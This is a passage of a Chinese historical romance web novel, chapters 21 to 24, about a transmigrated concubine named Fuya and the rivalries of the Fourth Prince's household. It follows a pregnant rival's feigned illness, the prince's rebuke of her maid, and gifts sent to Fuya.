傅雅就在他怀里转了个身,从侧身变成了正对着他,搂着他的肩膀,笑盈盈道:“那明早四爷陪我多睡会?” 这就是借着话来让他留下来,四爷心想,不过他今天本也没打算离开,所以就算看穿了小格格的心思,也不以为意,只淡淡地嗯了一声。 答应下来后,像是想到了什么,他挑起眉头来。 “爷这两日都被你枕得手臂发麻,你可想好了如何补偿?” 那你手臂枕着也没枕头舒服呢,傅雅腹诽,也不知道是谁睡完了就搂着她的腰不放,她不能睡回自己的枕头上可不就得靠着你的胳膊么。 虽然只跟四爷接触了这么两三天,可傅雅的感官就是,这位爷是真的不好搞,心里想的跟嘴里想得那很多时候就不是一回事,而且最关键的吧,这位还不喜欢在面上透露出来。 欸,反正就是,让你猜,使劲猜他的心思。 所以往往你都不知道他是真生气还是假的,但凡性子板正点或者不知变通的,那就很容易当成真的然后惶惶不安地请罪,结果反而真把这位爷给弄生气了。 说不定最后还要被这位爷嫌弃。 事实上,这也是一种驯服测试,可谓是从古到今都十分流行,放古代是叫用人之术,放现代那就是屁事多的老板在pua员工。 再搭配上这位历史上看得出来的“爱之欲其生恶之欲其死”的性子…… 闷骚加感情极端化,简直是折腾人的绝配! 傅雅再次感叹自己不是纯土著,否则她要真在这位爷的兴头上被捧到了高处时飘了,那坠下来的寒风也得将她刮得血肉淋漓。 面对四爷这个问题,傅雅自然是明白他是故意的,调戏她呢,所以她也没做出什么请罪的动作,只眨眨眼,轻快道:“我想好了。就让我赔偿您呀——” 她拉长了尾音,然后笑嘻嘻道:“下回再被我枕着手时,让我给您捏捏手臂,缓缓您的手麻。” 四爷放松了身形,嘴角带出笑来,他将手臂一伸,好整以暇地道:“也别等下回了,现在就替爷捏捏吧,算是对今早的补偿了。” 傅雅也从善如流地把手放他手臂上,摆好架势,清清嗓子:“好嘞,您就等着我的手艺吧!” 四爷笑得更明显了,只觉今日从太子那边出来时还带着些的疲惫也消散了许多。 小格格这里果然是个让人容易放松的地方,他想。 21、第二十一章 笑闹了阵,等吃过晚膳再消消食,洗漱净身,眼见着就是到了就寝的时间。 四爷都已经换了身更为舒适的衣裳,明摆着就是要睡这了。 偏偏就是这一会,李格格那来了人。 李格格的丫鬟本来想像当时在汪格格那般一样,搬出李格格的名头就直接进去的,赵德利却不是个好拿捏的软性子,当即就拦了她。 赵德利皮笑肉不笑地道:“谷碧姑娘,这主子爷和格格都要睡了,你这突然进去,打搅了主子爷,你担当得起么?” 谷碧有些恼,又被他这话说得的确有些畏缩,眼珠子一转,就看向了刚好在此时伺候完了主子洗漱换衣,正从里屋里走了出来的巧琴和苏培盛。 当然,谷碧的视线重点是落在了苏培盛身上。 苏培盛作为四爷的得力太监,那是经常眼观四路耳听八方的,谷碧的视线一下子就让他察觉到了,才看过来,他心底就咯噔一声,喊了句不好。 果不其然,就听得谷碧喊他:“苏公公,您看这可怎么是好,李格格肚子里的小阿哥在闹腾着呢,总觉得有些不适。” 不适那就喊大夫去啊,苏培盛心想。 偏偏他又不好这么顶回去,李格格终究怀着主子爷的子嗣呢,他哪能表现出来轻忽的态度啊。 他就嗯了声,慢慢踱着步子走过来,心里希望这谷碧能看出来他的态度,然后知趣地退了。 不过一直等到他走到赵德利和谷碧面前,也不见谷碧退缩,只满脸期待地看着他。 谷碧还道:“苏公公,我也不想打搅了主子爷,只是我们格格的身子也耽误不起呀。” 说得这么冠冕堂皇的,不就是想从他们格格这里截人么,谁还不知道谁啊,旁边的赵德利忍不住翻了个白眼,他和巧琴对了个眼神,都看出来对方眼里的忿忿。 两人都对李格格这手段不满着呢,但都没说话,只冷眼旁观看苏培盛的反应。 苏培盛:“……” 这些后院的女人可真是够折腾人的! “的确是耽误不得,”苏培盛虽说恼了谷碧这事,可他面上依旧是一脸担忧的神情,“那你且跟在我后头,我进去和主子爷通报一声,你再回话。” 苏培盛心里清楚,如今这富察格格再得主子爷喜爱,也比不上子嗣,所以就算他明知道今晚这是李格格截人的手段,他也不能不去通报,否则但凡出了点问题,主子爷都会找他的麻烦。 轻则来顿板子,重则直接不用他了。 至于李格格和她院里的人会不会对他不满,那关他什么事呢,真要这么蠢那他也不必担心了。 不过苏培盛也不会傻到把事都担自己身上,他带着谷碧一起进了屋。 赵德利和巧琴看着这两人的背影消失在门口,又对视了一眼,皆有些为格格憋屈。 里屋内,四爷刚上床呢,倒是没做什么,就只是搂着傅雅与她轻声说着话,听到苏培盛在外间说李格格那有事通报,他闭了嘴,眉头轻蹙了下。 不过还是扬声允了苏培盛进来。 苏培盛就低着头进来,简单说了下刚刚的事,然后就露出他身后站着的谷碧,示意她说话。 谷碧跪地行礼,顶着四爷的视线,也有些紧张,声音都带着点儿颤:“回主子爷的话,李格格方才觉肚子有异,就有些担忧,又想着子嗣贵重,怎么都得和您说一声,就派了奴婢过来。” 四爷嗯了声,没说话,谷碧身子跪得更压低了。 傅雅靠在四爷怀里,也没吭声,不过她感觉着四爷原本轻轻拍着她后背的频率从不急不慢变成了有一搭没一搭的,就猜出来他大概正在犹豫。 傅雅没想着主动开口说什么四爷您就过去这种话,一个妾去追求贤良淑德那是最累的事情,累还不是最关键的,最关键的是打眼得很,毕竟福晋还在呢,这格格传出端庄贤惠的名头是想干嘛呢? 她连争宠都没想着去做,更不会吃力不讨好地去做这种事情了。 她就秉持了一点,四爷来她这里,她就表现出欢迎,四爷离开了,她就开开心心过自己的日子。 沉默了几息,四爷做出决定。 “你自己好好睡着,爷先离开去看看李氏那的情况……” 四爷开口时,傅雅知道是在和自己说话,就从他怀里出来,直起身子看他,四爷对上傅雅黑亮亮的明润眼眸,声音不自觉地顿了下,才继续说下去。 “若是平日里缺了东西就让你院里的太监去前院说一声,改日爷再来瞧你。” 傅雅点点头,在四爷起身下床时,又喊住他:“四爷,您注意着别受凉了。” 四爷又深深看了她一眼,嗯了声,“别光说我,你也是,就别出来送我了,好生待床上,去睡吧。” 傅雅听他的话,没下床,不过也没就这么直接躺下睡了,而是半坐着,目送四爷换了衣裳后离开里间,四爷一直走到外间才觉得小格格的视线不在自己背上。 他眉头不自觉地又拧了下。 小格格这是舍不得自己呢,四爷心知肚明,可又不好不去一趟。 里屋内,傅雅也没立刻睡,而是下床给自己倒了杯水,正喝着呢,听到脚步声就看了过去,发现是巧琴进来了。 巧琴是有些不放心,又看里面光还亮着,猜测格格应该是还没睡,就进来瞧瞧,没想到正好看见格格穿着里衣站在榻前,手里拿着杯子在喝水。 她以为格格是借着喝水掩饰自己的心情,忍不住就道:“格格,您别难过。” 傅雅没想到巧琴开口就是这么一句安慰,不过她也明白巧琴话里的意思,便笑道:“我没难过。” 巧琴没信,不过她听格格这么说,也不好说得直白,就委婉地安慰她,“主子爷很喜欢您呢,就算今晚过去了,总不会一直在那……” “好了,巧琴,我真没事。”傅雅失笑,她示意巧琴不必再说,不过她一直觉得与其让下人猜自己的想法,不如自己说得清楚点,下人们也不必成天猜测主子心思然后为了讨好主子反而做错事情。 所以她解释道:“四爷愿意为了李格格孕期不适而过去瞧瞧,反而说明是四爷人好,知道女子怀胎不易。” 否则一个有孕的女人不舒服了,巴巴地遣人来说一声,不管是不是真的吧,怀孕的辛苦总归不是假的。 要是这男人就是不去,依旧跟另一个女人在床上翻云覆雨,这样的男人难道不让人心冷齿寒么? 巧琴脑子转了个弯,不禁点点头。 傅雅又继续道:“再来,李格格这手段,她用上这么两三次还好,若是她之后还反复用,那我就更不必担心了。” 她见巧琴有些疑惑,就反问她:“你觉得主子爷是个任人戏弄的好性子么?” 巧琴想了想,就忍不住打了个寒噤,连忙摇头。 主子爷不生气的时候,她都不太敢在面前放肆,谨言慎行生怕哪里出错,这样的一个人怎么可能会任人戏弄呢? “格格,我明白您的意思了。” 李格格这胎胎象好,她拿肚子不适做理由四爷是心知肚明的,但依旧愿意走上一遭看看她的情况,那是主子爷愿意低下身子关照她。 可她要是一而再再而三的继续拿有孕的事情做筏子,那四爷可能面上不会说什么,但都在心里记着呢。 而这孕期最多也不过十个月,总不可能怀上一辈子,那就迟早有被主子爷算账的一天。 但凡李格格不是蠢到了底,都不会把这手段反复拿来用。 22、第二十二章 见她明白了,傅雅又笑,心中留了最后一句没说。 最重要的,是她对四爷没有什么男女之间的喜爱之情,所以她才能这么冷静地看待这件事情,从中分析出对自己有利的部分。 比如,四爷不得不这么抛下她这个刚尝到味的新鲜美人,难道不会有一点点的不舍或者歉疚么? 但凡只要有那么一点儿,那她能过得舒服且不怎么需要花钱打点的时间便又延长了一些。 “我去睡了,”傅雅把茶盏一放,“今儿是谁守夜呢?” 巧琴道:“是巧书呢。” “哦,原来轮到她了啊,”傅雅恍然,她道,“明儿记得提醒我一下,免得我又有事叫她了。” “是,格格。”巧琴福身。 这守夜排班的规矩是格格第一天就说好了的,谁值夜了一晚上,第二天就可以去休息一天,格格那里也不会吩咐什么事情下来,所以想睡觉还是想做自己的事情都行,只要不惹出麻烦就可以。 另一头,四爷走出映月阁后,自是有下人给他打着灯笼照路。 四爷朝前走着,等到了李格格的院子门口时,早等候着的小太监立刻大声地通报起来。 四爷越过跪地的小太监,没理会一声又一声往里传的声音,只偏过头来,沉声吩咐苏培盛:“明儿你去通知膳房的人,照顾着点富察氏的膳食。” 四爷记得清楚,这几日他和傅雅吃饭的时候,小格格吃得挺香,看着是个喜欢口腹之欲的。 “嗻,奴才记住了。”苏培盛连忙应声,心里想,这是主子爷愧疚了吧? 这可真是同人不同命,同样都是被李格格截人,汪格格可丁点儿补偿都没有呢。 四爷走了几步,眼见着都能看到李格格那屋的影子了,他又扭头对苏培盛道:“明早提醒爷一声,富察氏伺候的好,给她些赏赐。” 合着提了膳食待遇还不够,主子爷您还要补偿啊? 苏培盛都觉得自己听得麻木了,他点点头,应得那是斩钉截铁,“奴才一定记好了。” 四爷这才满意,他朝前看去,也见到了扶着腰走出来的李格格。 虽说心里明白李格格是故意的,但四爷既然来了,便也没在脸上摆出脸色来,见李格格身子重,也及时止住了她请安的动作,“爷之前就说了,如今你身子重,不必特意出来迎接。” 李格格扶着腰小心走在四爷身后,也不敢伸手拉他衣角做些撒娇模样,主要是没忘了前不久她把爷给顶着了的事。 她就道:“奴才一想到四爷快来了,就等不住了。” 四爷嗯了声,脸上没见什么感动的情绪,等到走进里屋了,他冷不丁就问她:“不是说身子不适么?” 李格格本来都准备好了坐在四爷对面的榻上的,听到四爷这个问题,她身子就是一僵,想起来这已经被她抛在脑后的理由来。 她支支吾吾了会,终于憋出个勉强说得过去的解释。 “方才的确肚子是有些不舒服,不过……不过奴才看到四爷来了,就好像好了点,许是奴才肚子里的小阿哥见到他阿玛了,高兴着呢,就不折腾了。” 四爷依旧神色淡淡的,听不出是相信了这解释还是懒得开口戳穿。 “之前爷和福晋聊过了,福晋说会从娘娘那请个养生嬷嬷,”四爷提起另一个话茬,“等之后嬷嬷来了,虽说是伺候你的,但毕竟是宫里的老人,又有手艺,你也待她尊敬些。” 李格格听到会有宫里出来的养生嬷嬷照顾她,心里就是一喜。就算她高兴自己能为四爷开枝散叶,琢磨着只要生下小阿哥就是府里的长子,可她毕竟也是头胎,夜深人静时怎么可能不会担心生育的难题呢。 多少女人在生产时都是一只脚踏过鬼门关啊! 宋格格生得艰难,孩子没满月就没了声息的事才过了一年呢,还是历历在目的情景。 如今有了这养生嬷嬷,就相当于多了一层保险,李格格自是高兴无比,尤其她突然想到,她和宋格格都是头胎,却只有她被主子爷费心请了养生嬷嬷,怎么不算是主子爷对她的又一上心举动呢? 于是李格格连应答的声音都说得甜腻婉转:“是,奴才一定好好待这位嬷嬷。” 有道是天晴了,雨停了,我又觉得我行了,李格格的性子就有点儿这样,属于是三分颜色就敢开染坊的,刚刚那阵窘迫就被她忘在了脑后,又想与四爷亲近几分。 “主子爷,小阿哥最近喜欢活动手脚呢,您要摸摸么?” 她边说着,眼神就往四爷手上看,却又不太敢直接抓着他的手拿过来摸。 四爷看了眼她的肚子,很想说一句若是个小格格呢,不过他心里也清楚李格格强调阿哥的心思,虽然觉得有些腻歪,却也没想着说这种扫兴的话。 反正不管是阿哥还是格格,他府里都能养着,也不会让这些动摇福晋的地位。 而李格格再怎么盼着小阿哥,真生了小格格,四爷相信她也不敢不对自己的女儿好。 他没有伸手去摸,只道:“天色也不晚了,你如今这情况熬不得夜,早些睡吧。” 李格格有些失望,不过还是点头,“谷碧,去把主子爷要换的衣裳拿来……” 后院里的女人都会备些四爷换洗的衣裳,方便四爷在她们院子里歇息,这也是四爷准许的。 但她话还未说完,就被起身的四爷打断了,“不必拿衣裳了,你自己好好歇息。” 李格格听四爷这话的意思,不是要留宿在自己院子里,顿时就更失望了,可她还怀着身孕了,孕期开口留下主子爷,说出来的确不好听,传到福晋那里还会被她找到理由打压。 “是,多谢主子爷来看奴才……” 李格格示意谷碧给她搭把手,她挺着肚子不太好从榻上下来。 谷碧连忙走过来,只是李格格才把手搭在谷碧手上呢,四爷侧过身来看了她一眼,又道:“身子不便,那就不用出来送爷了,让你身边的丫鬟出来送就行。” 李格格怔了下,她看了眼身边的谷碧,倒是没觉得自己丫鬟私底下勾引了爷,主子爷眼光没那么差,她也不觉得谷碧有这个胆子。 但正因为如此,李格格心中便有些不安。 谷碧眼神看着也有点儿慌,她看了看李格格,又看了看苏培盛,苏培盛就朝她微笑,笑得谷碧莫名得更慌了。 但没人敢违背四爷的吩咐。 谷碧跟在苏培盛后头,送主子爷离开,四爷走出厢房,却在刚踏出门口时停住。 “你们格格什么时候不适的?” 谷碧低着头,就听到主子爷不辨喜怒的声音从头顶传来,她身子微微一颤,“回、回主子爷……我们格格、格格是吃过晚饭后,就、就有些不适了……” 她趴跪在地上,回话的声音都断断续续的,一句话说完,只觉在这初春的季节里,都汗如雨下。 四爷居高临下地看着这个丫鬟的头顶,看着她在这夜色中都能分辨出来的颤抖,语气淡淡:“从晚膳到就寝,中间也有两三个时辰,你们这些做下人的,就是这么伺候主子的? “嗯?” 不过是一声淡淡的语气词,就听得谷碧身子打摆得更厉害了,她连忙磕头,“求主子爷饶恕,求主子爷饶恕!”连辩解的话都不敢说,至于说什么都是格格假装的,那说出来不是给自己找活路,而是生怕死得不够快! 这门外的动静本来就不算小,站在里间内的李格格隐隐约约也听出了个大概,她揪着帘子,脸色也有些白。 磕头声一声又一声,院子里还守着夜的下人们皆是跪了下去,噤若寒蝉。 23、第二十三章 四爷手负身后,看了眼苏培盛。 苏培盛得到示意,就上前止住了谷碧的磕头,他板着脸色,语气虽严肃,却是循循善诱,“谷碧啊,你们没照顾好李格格,那就是你们的错,不过主子爷仁慈,这次就不把你们退回到内务府了。” 本来直起身子的谷碧一软,差点没瘫在地上,好险被苏培盛给抓住支撑了下。 这内务府出来的人若是因主子嫌弃而被退了回去,那就是断了日后去其它主子那服侍的机会,毕竟下人多的是,没有哪个主子愿意花心思了解这个奴婢到底是因为什么被前主子嫌弃而退回来的。 所以像这样的婢女日后能领到的差事都是些又苦又累的,堪称折磨人,等到了出宫的年龄,都要比同龄人看上去老了一个辈分不止。 苏培盛看她知道怕了,抓着谷碧的手微微用力,俯下身来在她耳边一字一句说得极为清楚。 “不过呢,你们这日后也要紧紧皮,要是李格格又有哪里不舒服了,那得及时请大夫啊,大夫若是不行,就去福晋那求着找太医,懂么?” 谷碧颤着嘴唇,点头,“奴婢、奴婢懂,奴婢都记在心里了。” “格格身子不适就叫大夫,隔了几个时辰再来找爷有什么用,是爷来了会看病还是能当药使呢,”四爷冷着张脸训斥,“你们这群人,简直不知所谓!” 这冷冰冰的话一丢出来,砸得下人们立刻磕头谢罪,而里间偷偷听着的李格格也是身子一颤,明白爷这是有些生气了,隔着下人敲打她。 敲打完了,四爷自是带着人离开。 清雅楼里一时极为安静,谷碧软着身子瘫坐在地上好一会,才有气无力地站了起来,转身进了厢房。 里屋李格格扶着腰在不自觉地来回慢慢走,如果不是身子重,只怕她走路的速度就不是慢腾腾的,而是快得能让人看着头晕,一见谷碧进来了,她立马回头,一把抓住了谷碧的手。 “主子爷刚刚……”她犹豫了下,还是问了出来,“是不是看着很生气?” 谷碧摇了摇头,脸上还带着后怕的疲惫,“奴婢不敢看。” 李格格脸上讪讪,其实她也不敢看,当时站在帘子后面偷听时,都没敢探出头来。 “格格,这装病的法子,不能再使了……”谷碧心有余悸地劝着李格格,生怕主子固执己见,不过她高估李格格的胆子了,虽然她看着张扬,可却不会在四爷的底线上踩来踩去。 “我本来就不打算再使了。”李格格扯着手帕回她,不过这话她说着略微有一点儿心虚,因为这种能把主子爷从别的女人那叫走的滋味太好了,她还真有点儿控制不住。 不过经过四爷这番敲打,她立马就退缩了。 李格格对自己的婢女道:“如今这汪格格和富察格格都被我搅了次好事,她们想必也明白再怎么受宠都越不过我去,那我还继续做着事干什么?” 李格格最初把四爷从汪格格那叫走的时候,还真不是装病,她当时的确有些不适,不过她也承认自己是借题发挥。 眼见爷还真的立刻来了,她心中很是甜蜜,又有些得意。 本来她没想再这么做的,可是这几天富察格格看着比汪格格还要受宠,主子爷又赏赐了她那么多东西,李格格就忍不住想要踩她一脚,于是她就又想到了用不适这个借口把四爷从富察格格院里喊走的办法。 这主子爷被另一个女人从自己这喊走的事,说出来总是伤面子的不是么? 谷碧作为她的贴身丫鬟,自然也是明白格格做着事的原因,她跟着格格同仇敌忾,也看其他院里的女人不顺眼。 但话又说回来了,她虽然是个奴婢,但也想好好活着的,而不是沦落到只能做又苦又累的差事。 如今听格格歇了这个心思,她心中也是松了口气。 “格格您说得是,”她捧着李格格的话,“这后院里除了福晋,您才是最大的那位,等小阿哥生下来了,您就在这后院站得更稳了。” 李格格摸摸自己的肚子,缓了缓自己噗通直跳的小心脏,冷不丁地想到什么,连忙问谷碧:“你说,这主子爷不会又回了富察格格的院子吧?” 那她这顿敲打不就白遭了么? 谷碧:“……” 她跟自己主子面面相觑,一时还真有些不太肯定。 主要是主子爷正好是今晚发了火,不想还好,一想就担心会不会跟富察格格有关联。 沉默了会,谷碧道:“奴婢明儿一早就去打听!” 没人敢追在四爷后头看他去了哪里,窥伺主子爷行踪被抓住了那也是找死,大家一般都是等事情过了再打听的。 第二天谷碧就打听到四爷的确没回映月阁,算是如了李格格的意。 当然,更准确的说,是他本来已经走到映月阁附近了,却停住了脚。 苏培盛抬头看向映月阁,此时映月阁内已经落了锁,连灯笼都没几个亮的,在夜色笼罩下显得安静极了。 “主子爷,奴才去通报一声……” 四爷:“不必了。” 苏培盛就有些纳闷地闭上嘴,不明白主子爷这来了又不进去是怎么回事。 四爷背手站在这石子路上,微凉的风拂过他的脸颊,似乎也带走了刚刚的一丝愠怒,他看着不远处的映月阁,想着傅雅此时是已经睡着了,还是在辗转难眠。 他想着小格格同自己撒娇弄痴的模样,就觉得说不准在偷偷掉眼泪。 想到此,四爷眼里就浮现出笑意,竟还有些想要看看她眼里含着泡泪的模样,怕是让人见了怜爱得紧。 这个念头在他心里转了转,最后还是被他按了下去。 傅雅是不知道四爷在院子外来了一趟又离去的事,她也没有像四爷想象得那样委屈得掉眼泪或者是睡不着,相反,她睡得挺香的,而且没了床上运动,她一早起来也不会觉得腰酸腿疼的。 所以她今天心情极好,不过等她看到桌上的早膳时,这种高兴就变成了惊讶。 “今日的早膳怎么比之前还要丰盛了?” 她看着摆出来的盘子,都有十二三道了,就算她吃了分下去,巧琴她们也都能吃饱,她扭头看向巧琴,才注意到自己的贴身丫鬟脸上的笑格外灿烂。 “说是苏公公吩咐的呢。”巧琴道。 傅雅哦了一声,懂了,昨天半途离开的补偿么? “还说日后格格的早午晚膳都提了待遇。”巧琴又喜气洋洋地道,她现在就觉得,李格格截了人又如何呢,主子爷还不是立刻补偿了格格,生怕格格受委屈么。 傅雅也这么觉得,截个人,李格格得了高兴,她睡得舒服又吃得更好了。 其实都自认为没亏损,大家都有光明的未来。 于是吃完早膳后,傅雅心情就更好了,因为食物好吃嘛。 “格格,您今日还画画么?” 巧琴知道格格最近都会在饭后做些事情消食,她给格格上了清茶,便顺道问了一句。 傅雅摇摇头,“不了。估摸着之后一段时间也不会,你先把那些画画的东西收起来吧。” 她昨天刚画完的一幅画就被四爷给拿走了,虽说她还能自己画吧,可至少得在他面前装个样子,总不能前脚四爷拿走了,后脚她就又画上几幅,那不成对着干了么? 想表达什么意思啊? 这画不值钱还是说四爷拿走了我也不在乎,反正我还能画而且能画多少有多少呢? 而且傅雅觉得自己的画挺好的,也费了她的时间,虽说不是名家卖不出什么钱,可也是她的心血,她当然不愿意让它的价值在别人面前贬值。 不过就这么干坐着也的确无聊,傅雅想了想,决定还是踢毽子。 但她没踢成,因为有人来了。 是西溪阁的汪格格。 听到下人过来通报时,傅雅还有些疑惑她怎么过来串门了,不过也没拦着,吩咐下人把人迎进来。 没多久,就见汪格格搭着侍女的手,花盆底在地上哒哒地响着走了进来。 两人都是格格,自是不存在谁给谁请安的,都是行了个平礼。 抬头时,两个人都是微微一笑,气氛看起来还是很好的。 不必傅雅吩咐,巧琴在两人落座时,便已经带着茶和点心进来,等放下后,朝汪格格福了福身,才退到傅雅身后站着。 汪格格看了眼茶盏,碧绿的茶水下沉浮着茶叶,正是上好的碧螺春,再看旁边的点心,花样繁复颜色漂亮。 这两样,哪一个都不是格格能有的份例。 她又想到刚刚行礼时,她故作不经意地从富察格格身上扫过时看到的平底软鞋,自己还穿着花盆底呢,两人站在一起她都比富察格格矮上那么一丝。 她和富察格格,可谓是两种风格的美人。 “汪姐姐今日怎么来我这了?”傅雅先开口说话,她的确是挺不解的,因为四爷虽然在她和汪格格中都连着去了三天,可这得到的赏赐却不同,这对比说出来其实挺打脸的。 除非汪格格是个心胸极为开阔且同样不在乎四爷的人,否则再怎么样,都会有些不好受。 而这种情绪总是需要时间缓缓的,就算真要见她,也不至于就这么快。 “闲来无事,又不想一直在院里拘着,就出来走走,”汪格格笑了下,“想到富察妹妹和我是同一天进府的,便想着也是个缘分,应该多亲近几分。” 顿了顿,她笑得更加灿烂,“说来姐姐还要给妹妹道喜,主子爷在妹妹这待了几天,又给了赏赐,便不用受那等子小人的气了。” 嗯? 傅雅神情微动,倒是立刻明白了她说的小人是谁,除了李格格也没别人了,毕竟在福晋院里请安那天,李格格可是连着怼了她和汪格格。 不过她又看了看汪格格脸上的笑。 她想,难不成汪格格和她一样,对四爷只有技巧没有感情么,还真是跑过来给她真心道喜的? 24、第二十四章 “汪姐姐说得严重了,”傅雅也笑笑,没有接她这句话的意思,“虽然我只在请安时见过福晋一面,可我日日身处这后院,却觉规矩严明,行事有度,就知道福晋是个处事公平的主子。 “就算没见到主子爷,我这里也没遇到什么克扣,又何来的小人呢?” 都说人与人之间拉近距离最快的方式就是一起吐槽不喜欢的人或事,可现在这是古代,她和汪格格都是后院里的女人,在没摸清汪格格到底是什么套路时,她可不会傻乎乎地跟着她的节奏走。 她总得知道,汪格格来她这里是单纯祝福呢,还是别有心思。 汪格格碰了个软钉子,她这个年纪又终归只是个年轻的小姑娘,还没那么深的城府,一时脸上的笑差点没维持住,只能低头端起茶盏喝了口,借着杯身掩盖下自己脸上的神情。 傅雅也假装没看见。 等汪格格收拾好情绪,再抬头时,又是那副开朗大方的微笑,“妹妹说得也是,福晋主子自然是公道的,不过刚刚姐姐这么说,也是关心妹妹,想来妹妹是明白姐姐的心意的。。” 之前在福晋那里,汪格格见傅雅毫不客气地怼了李格格一通,丝毫不顾忌李格格有孕一事,原以为这傅雅是个脾气燥的,然而刚刚一番言语下来,汪格格明白是自己看轻了人家。 看着脾气燥,可不意味着人家真是个好挑动,且单纯好骗的性子。 傅雅听她这么说,就只笑,像是相信了又像是左耳进右耳出的。 “……”汪格格见她不接话,运了运气,想着自己来时的目的,还是忍住了没有走,她继续道,“主子爷忙着外面的事情,福晋主子又操劳着府里的事,我们这些姐妹都分担不了什么,能做的也就是替主子爷开枝散叶,才不负主子爷的宠爱,和福晋的叮嘱。 “妹妹你可赞同姐姐说的话?” “汪姐姐替四爷和福晋主子操心的心思,妹妹自是肯定的。”傅雅点点头,心想这汪格格总算有点要透露真实目的的迹象了。 汪格格听傅雅终于赞同了自己一次,心里舒服了点,却没意识到傅雅只是附和了她想要开枝散叶的话,没说自己也是这个想法。 她就继续笑着道:“只是如今后院里只有李姐姐一人有孕,这重担只有她一人挑着,难免就有些累着她,我是想着,我和富察妹妹两人同时进府,合该一同去给李姐姐分担。 “也免得李姐姐身子不适,主子爷白日里在外辛苦了,大晚上的还得担忧李姐姐,总是歇息不好。” 傅雅听她这话,还好没喝茶,不然会忍不住笑得喷出来。 这话挺损的,真的,什么分担压力啊,李格格要是听到了保管会说退退退,这重担和压力她一个人来承担就可以了,其他人都滚。 不过傅雅总算明白汪格格过来一趟的原因了,原来是因为被李格格截人后不甘心的怨气。 想来汪格格说不定是想忍着的,毕竟李格格怀着孩子,她又刚进府才伺候四爷,还没怎么站稳,她身单力薄的想要和李格格较劲,总归缺少了些底气。 不过现在却有些不同,傅雅也见到四爷了,而且也是连着三天,看着比汪格格还要受四爷喜爱。 最关键的是,傅雅也被李格格截了人。 汪格格以己度人,最重要的是以这个时代后院女人常有的思维来思考,必然会觉得傅雅对这事也是有怨气的,于是她就想到了和傅雅联手的事情,两个受宠的女人一起针对李格格,总能把她的嚣张气焰打压下去。 所以就算她对傅雅心里也有些不得劲,却也忍着过来了,主动提出联手一事。 不得不说,汪格格这招并不蠢,甚至可行性很高。 只要傅雅有那么点喜欢四爷,只要她有想要争宠的心思,都不会介意和汪格格一起给李格格使些绊子,就算不为打压,也能为自己出出气。 偏偏这两个前提傅雅都不满足,所以她自是婉拒了汪格格的这个建议。 汪格格被拒绝后不太高兴,不过面上还是强撑着笑:“看来是姐姐多事了,妹妹一个人过得很是潇洒,想来是不在意其他俗事的。”她忍不住刺了傅雅一句,但也就如此,没再做出什么不体面的事情来。 离开映月阁时,汪格格想,原以为这富察格格是个有心气的,没想到连争上一争都不愿,这样的人就算如今受宠了,日后也长久不了。 正此时,有脚步声传来,汪格格循声看去,便见到了李顺昌。 “哟,是汪格格您呀,”李顺昌也见到了汪格格,便笑着道,“给汪格格请安。” 汪格格看他后头跟着的几个小太监手里都拿着东西,明知道李顺昌没有和她聊这事的迹象,却因为自己想到的内容忍不住开口,“李公公,你这……是要去富察格格那么?” 李顺昌也没想到汪格格问得这么直白,他见汪格格面色有些异常,又想到她这后头就是映月阁,说不定是刚从映月阁出来,还和富察格格发生了点什么事。 于是他一边觉得这汪格格何必非得问出来,一边又觉得汪格格非要找不痛快吃,自己又何必为人家心情着想,便也没有隐瞒,答得十分痛快,“正是呢,这不是主子爷让我给富察格格送赏赐么。” 他端着副笑脸说完,就示意自己得过去了,不能继续说话。 汪格格侧过身,看着李顺昌带着人与她擦身而过,进了映月阁。 “格格?” 玉兰察觉到格格放在自己手背上的手在用力,轻轻喊她。 汪格格回过神来。 “玉兰,”她转头和自己的贴身丫鬟道,“回去后你再继续教我那些结扣是怎么弄的。” “是,格格。”玉兰点点头。 汪格格把手放到自己腹部,心想,她要尽快怀上四爷的孩子,这样才能和李格格争一争侧福晋的位置。 一想到李格格先截人后在福晋那请安时用言语刺她…… 饶是汪格格这种自觉谨慎且不爱主动挑事的人都难以忍受,她咬了咬唇,面上阴霾一闪而过,忍不住又想到了刚刚李顺昌带着的赏赐和富察格格与她之间的对话,只觉得富察格格如此退缩实在是浪费了主子爷对她的宠爱。 若是放到她身上…… 若是能到了她身上…… 汪格格轻轻叹了口气。 映月阁里,傅雅见到李顺昌又来了,而且依旧还是带着东西来时,也有些意外。 她还以为饭菜提了待遇就是补偿了,结果还有东西么? 不过这回的东西没有那么多,外间的桌子就能摆开,送走李顺昌后,傅雅就让巧琴她们打开盖,自己坐在旁边看着。 第一个盒子里放着一根簪子,第二个则是一副名家工笔图画,第三个盒子里软垫上摆着个葡萄花鸟纹银香囊。 傅雅拿起香囊球转了转,发现它大致有三层结构,最里面的金盂无论什么角度都能维持重心向下,可谓精巧又漂亮。 放下香囊球,傅雅继续看剩下的东西。 倒数第二样的盖子一打开,便有一股清新而甜美的香气迎面扑来,白瓷盘上摆放着殷红小巧,肉厚饱满的四个樱桃。 傅雅:“……” 她看着这四个樱桃,愣了下,然后不等巧琴动手,就自己打开了最后一个盒子。 里面放着两个棋奁,棋奁里是玛瑙制成的黑白棋子,比她手里瓷做的棋子贵重多了。 巧琴就见格格眼睛微微瞪大,看着这个东西,然后突然就噗嗤笑了起来,而且越笑越大声。 “……格格,您这是怎么了?”巧琴丈二摸不着头脑,不明白有什么好笑的。 傅雅捻起棋子摩挲几下,又丢到棋奁,止住了笑,“没什么,”她说,只是嘴角还扬着,“就是觉得……挺有趣的。” 这位四爷是把她当成了小孩子哄么,给的都是些吃的玩的,和她特意在四爷面前表露出来的喜好的玩意。 不过也挺好的,至少不是现代那种直男审美,没搞出什么“女友看了都感动哭了”的东西来。 这一次傅雅没能给四爷提供什么情绪价值,或许是有事忙着,之后几天四爷都没进后院,眼看着就到了寒食节。 寒食节离清明节不算太远,一般在这一天里,膳房都不会开火,吃的都是冷食,虽说李格格有孕,可毕竟就她一人,给她例外便可,其他人在这天就没吃到个热的饭菜。 傅雅在这个时代也不是第一次过这个节日了,只是在四爷府里还是第一次,等她吃过膳房送来的菜,一边擦嘴一边做了结论。 看来这初春还微寒的天气,就算是皇子府里的好厨艺,做出来的冷食吃着也不怎么舒服。 正院里,福晋在和四爷说话,这是这几天里四爷第一次进后院。 “过几日就是清明节了,自古这清明节便有踏青参加佛事的习俗,妾身觉着不如这次便也这么安排,”福晋和四爷商量着,“正好李氏再隔几个月就要生产,也算是替她祈福求个平安。 “而且宋氏入府几年,都未曾与家里人再相见。妾身想着寺庙是个清净场所,往来都是些守规矩的人,不如让宋氏在此与家里人见个面,解个思家之情,说不得也能疏解下她的情绪,不至于继续病恹恹的。” 